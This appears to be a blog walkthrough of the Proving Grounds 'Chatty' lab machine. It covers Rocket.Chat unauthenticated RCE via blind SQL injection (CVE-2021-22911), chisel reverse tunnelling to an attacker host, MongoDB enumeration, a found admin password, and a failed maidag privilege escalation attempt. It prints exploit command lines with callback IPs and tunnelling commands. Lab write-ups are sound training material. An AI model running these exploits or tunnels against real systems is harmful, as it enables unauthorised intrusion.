[OSCP Practice Series 53] Proving Grounds — Chatty

Machine Type: Linux

Initial

Nmap discovered ports 22 and 3000 open. It seems like there’s an HTTP server running on port 3000, but Nmap couldn’t identify the service.

Rocket.chat service.

Foothold

There’s an unauthenticated Remote Code Execution (RCE) exploit using blind SQL injection for it (CVE-2021–22911). It’s applicable to Rocket Chat version 3.12.1. To utilize the exploit, it appears that we need the administrator email. I registered an account and promptly discovered the admin email.

admin@chatty.offsec

Now we can try to use the exploit.

python3 exploit.py -u asd@asd.com -p Asdasd1! -H http://192.168.158.164:3000/ --ip 192.168.45.230 --port 1234 -a admin@chatty.offsec

It seems like the exploit works, and it’s currently executing the blind SQL injection attack to retrieve the reset token. However, the exploit isn’t functioning properly, even though it appears to be running smoothly. It keeps generating the wrong token or encountering other errors.

So, I decided to look for another stable exploit. Let’s try the one from exploitdb (https://www.exploit-db.com/exploits/50108). This one doesn’t allow us to supply our account password. Therefore, you have to edit it in the exploit code.

python3 exploit.py -u asd@asd.com -a admin@chatty.offsec -t http://192.168.158.164:3000

I was wondering why it tries to reset our own password. This is unnecessary since we already have access to our own account. We need to modify the code again, just by turning off some functions, I assume.

Just comment out those three functions; we don’t need them. They will only waste time.

We managed to gain access, but it appears we have a blind code execution. Let’s test it to confirm if we indeed have code execution capability.

We do have a blind code execution. Great! Now, let’s proceed to obtain our shell.

We are in.

There’s only one user, so straight to root.

local.txt: 67f74fa728e981c4aab38a1533c1f3ce

Something is running on port 27017. Let’s forward it with chisel.

chisel server --socks5 --reverse -p 9999

./chisel_amd64 client --fingerprint xpxE+aaBcntHeEtfCyjrzMGjaUlHuUs0Fxgnak1qYmc= 192.168.45.237:9999 R:8000:127.0.0.1:27017

Now we should be able to access it locally on port 8000.

Oh, it’s just a MongoDB server. We can enumerate it further using the techniques outlined in https://book.hacktricks.xyz/network-services-pentesting/27017-27018-mongodb.

Let’s enumerate it. Since admin, config, and local are default databases, let’s focus on enumerating the rocketchat database.

show collections
db.users.find()

Seems like this is just a rabbit hole. Let’s backtrack and reassess our approach.

OH WHAT A SURPRISE!

ADMIN_PASS=VeryStrongPassword2069

Could this be the root password? Nah… it’s unlikely to be the rocketchat user password as well.

/usr/local/sbin/maidag — That’s an uncommon binary. There’s no GTFObins exploit available for it either.

Haha, sometimes the search results lead us right where we need to be!

That’s gotta be it CVE-2019-18862.

local-exploits/CVE-2019-18862 at master · bcoles/local-exploits

Alright, let’s transfer both scripts, exploit.cron.sh and exploit.ldpreload.sh, and try them out one by one. The usage instructions are provided in the comments within the exploit scripts.

The cron one failed.

This one also broken. What?

I tried it manually following the steps from https://www.exploit-db.com/exploits/47703. It added a malicious entry to /etc/crontab to execute /tmp/payload.sh that we created.

/tmp/payload.sh should execute every minute. But it doesn’t work. Yeah, I even run pspy64 to confirm it. It doesn’t work. WTF man.

I found no other privilege escalation way. This is so weird.

I confirmed that the maidag vulnerability is the way to escalate privileges. It seems like the machine is just broken. Please let me know if you see anything I did wrong. Thanks!